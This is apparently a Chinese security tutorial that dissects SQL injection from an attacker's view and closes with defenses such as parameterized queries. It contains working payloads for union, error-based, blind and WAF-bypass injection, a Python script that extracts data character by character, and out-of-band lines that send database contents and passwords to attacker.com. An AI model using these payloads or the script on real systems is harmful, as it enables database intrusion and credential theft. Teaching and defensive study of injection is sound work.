为什么这个漏洞至今仍然致命
OWASP Top 10 2026 中,注入类漏洞依然位列前三。根据 Verizon DBIR 报告,SQL注入在金融行业数据泄露事件中占比高达 31%。二十年过去了,开发者仍在拼接SQL字符串。
核心原因不是"不知道",而是"不够深入"。 本文将从攻击者视角,逐层拆解 SQLi 的完整攻击面。
攻击路径全景
| 序号 | 攻击方式 | 适用场景 | 危害等级 |
|---|---|---|---|
| 1 | Union 注入 | 页面回显查询结果 | 🔴 高 |
| 2 | 布尔盲注 | 页面二元差异(正常/异常) | 🟡 中 |
| 3 | 时间盲注 | 页面无差异 | 🟡 中 |
| 4 | 报错注入 | 错误信息回显 | 🔴 高 |
| 5 | 堆叠查询 | 数据库支持多语句 | 🔴 高 |
| 6 | 二次注入 | 数据被存储后在其他查询中使用 | 🔴 高 |
| 7 | OOB外带注入 | 出网受限或盲注场景 | 🟠 中高 |
| 8 | Order By注入 | ORDER BY/GROUP BY子句可控 | 🟠 中高 |
| 9 | HTTP分块传输绕过 | WAF绕过场景 | 🟠 中高 |
一、Union 注入:经典但不可忽视
核心原理
-- 正常查询
SELECT id, username, email FROM users WHERE id = 1
-- 注入后
SELECT id, username, email FROM users WHERE id = 1
UNION SELECT 1, table_name, column_name FROM information_schema.columns
实战三步法
第一步:确定列数
' ORDER BY 1-- -- 正常
' ORDER BY 2-- -- 正常
' ORDER BY 3-- -- 正常
' ORDER BY 4-- -- 报错 → 共3列
或者使用 UNION SELECT NULL, NULL, NULL 逐列测试。
第二步:确定回显位
' UNION SELECT 1, 'test', 3--
-- 看页面哪个位置显示了 'test'
找到回显位后,就可以在那个位置注入查询了。
第三步:爆数据
-- 获取数据库名
' UNION SELECT 1, database(), 3--
-- 获取表名(MySQL)
' UNION SELECT 1, group_concat(table_name), 3 FROM information_schema.tables WHERE table_schema=database()--
-- 获取列名
' UNION SELECT 1, group_concat(column_name), 3 FROM information_schema.columns WHERE table_name='users'--
-- 获取数据
' UNION SELECT 1, group_concat(username, ':', password), 3 FROM users--
防御方案
| 层级 | 方案 | 效果 |
|---|---|---|
| 代码层 | 参数化查询(PreparedStatement) | ⭐⭐⭐⭐⭐ |
| 框架层 | ORM(Hibernate/MyBatis 正确使用) | ⭐⭐⭐⭐ |
| 数据库层 | 最小权限原则 | ⭐⭐⭐ |
| WAF层 | SQL注入规则 | ⭐⭐ |
二、报错注入:无需回显位的高效手段
报错注入利用数据库的错误信息来泄露数据,适用于页面不直接回显查询结果但会显示数据库错误信息的场景。
MySQL 常见报错函数
1. extractvalue (最大 32 字符)
' AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e))--
-- 报错: XPATH syntax error: '~database_name~'
2. updatexml
' AND updatexml(1, concat(0x7e, (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()), 0x7e), 1)--
3. floor + rand + group_by(最稳定)
' AND (SELECT 1 FROM (SELECT count(*), concat((SELECT database()), floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--
-- 报错: Duplicate entry 'database_name1' for key 'group_key'
实战技巧
当 extractvalue 最多只返回 32 字符时,使用 substr 分段截取:
-- 第 1-32 字符
' AND extractvalue(1, concat(0x7e, substr((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()), 1, 32), 0x7e))--
-- 第 33-64 字符
' AND extractvalue(1, concat(0x7e, substr((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()), 33, 32), 0x7e))--
三、布尔盲注与时间盲注:页面无回显的终极手段
布尔盲注核心思路
利用页面返回内容在 True 和 False 条件下的差异逐字符猜测数据:
-- 判断数据库名第一个字符是否为 's'
' AND ascii(substr(database(), 1, 1)) = 115--
-- 页面正常 → 是 's'
-- 页面异常 → 不是 's',尝试下一个
时间盲注(最后手段)
当页面在真/假条件下完全无差异时,引入时间延迟:
-- MySQL: 如果条件为真则 sleep 5 秒
' AND IF(ascii(substr(database(), 1, 1)) = 115, sleep(5), 0)--
-- PostgreSQL
' OR (SELECT CASE WHEN (ascii(substr(current_database(), 1, 1)) = 115) THEN pg_sleep(5) ELSE pg_sleep(0) END)--
-- SQL Server
' IF (ascii(substring(db_name(), 1, 1)) = 115) WAITFOR DELAY '0:0:5'--
自动化脚本示例(Python)
import requests
import time
def boolean_blind(url, payload_template):
extracted = ""
for pos in range(1, 100):
found = False
for c in range(32, 127):
payload = payload_template.format(pos=pos, char=c)
r = requests.get(url + payload)
if "Welcome" in r.text: # True 条件
extracted += chr(c)
found = True
print(f"[+] Position {pos}: {chr(c)} -> {extracted}")
break
time.sleep(0.1) # 避免触发速率限制
if not found:
break
return extracted
# 使用
result = boolean_blind(
"http://target.com/page?id=1",
"' AND ascii(substr(database(), {pos}, 1)) = {char}--"
)
四、二次注入:被忽略的致命漏洞
攻击原理
用户注册 → 数据存入数据库 → 其他功能读取该数据用于SQL查询 → 触发注入
经典场景:
- 注册用户名为
admin'--的账号 - 修改密码时,应用先查询当前用户:
UPDATE users SET password='newpass' WHERE username='admin'--'
--注释掉后面的条件 → 实际修改了admin的密码
防御关键
存入数据库的数据,在取出使用时仍然要参数化查询。
不要信任任何来自数据库的数据——它可能被污染过。
五、OOB (Out-of-Band) 注入
当 SQL 服务器能发起 DNS/HTTP 请求时,可以将数据通过外带信道传出:
-- MySQL (Windows, secure_file_priv 为空时)
SELECT load_file(concat('\\\\', database(), '.attacker.com\\a'))
-- SQL Server
EXEC master..xp_dirtree '\\attacker.com\share'
-- 在攻击者 DNS 服务器上看到: database_name.attacker.com
-- Oracle
SELECT UTL_HTTP.request('http://attacker.com/' || (SELECT password FROM users WHERE rownum=1)) FROM dual
实战价值: OOB 注入能绕过绝大多数 WAF,因为注入 payload 不包含常见 SQL 关键字,数据通过 DNS 信道泄出。
六、WAF 绕过实战
常见绕过技术
1. 注释混淆
'/**/UNION/**/SELECT/**/1,2,3--
'/*!50000UNION*/ SELECT 1,2,3--
2. 大小写混合
' UnIoN SeLeCt 1,2,3--
3. 双写绕过
' UNIUNIONSELECTON SELECT 1,2,3--
-- WAF 删除中间的 UNION → 剩下 UNION SELECT
4. HTTP 分块传输
POST /api/search HTTP/1.1
Transfer-Encoding: chunked
2
id
2
=1
5
UNIO
4
N SE
4
LECT
0
WAF 可能无法正确重组分块传输的数据。
5. 等价函数替换
| 被拦截 | 替代 |
|---|---|
sleep(5) |
benchmark(5000000, md5('a')) |
substr() |
mid(), left(), right() |
ascii() |
ord() |
= |
LIKE, REGEXP, BETWEEN, >, < |
| 空格 | /**/, %09, %0a, %0d, 反引号 |
七、现代防御体系
黄金法则:参数化查询
// ❌ 危险
String query = "SELECT * FROM users WHERE username = '" + username + "'";
// ✅ 安全
PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE username = ?");
ps.setString(1, username);
纵深防御
┌────────────────────────────┐
│ 输入验证(白名单) │ ← 第一层
├────────────────────────────┤
│ 参数化查询 / ORM │ ← 核心层(必须)
├────────────────────────────┤
│ 数据库最小权限 │ ← 第三层
├────────────────────────────┤
│ WAF / RASP │ ← 第四层
├────────────────────────────┤
│ 日志监控与告警 │ ← 第五层
└────────────────────────────┘
总结
SQL 注入 20 年来稳居漏洞榜首,不是因为技术复杂,而是因为防御意识和开发规范未能下沉到每一行代码。本文覆盖的九种攻击路径代表了完整的 SQLi 攻击面。防御的核心只有一条:
永远不要拼接 SQL 字符串。永远使用参数化查询。
下一篇预告:XSS 深度解剖 —— 从反射型到 DOM Clobbering 的完整攻击链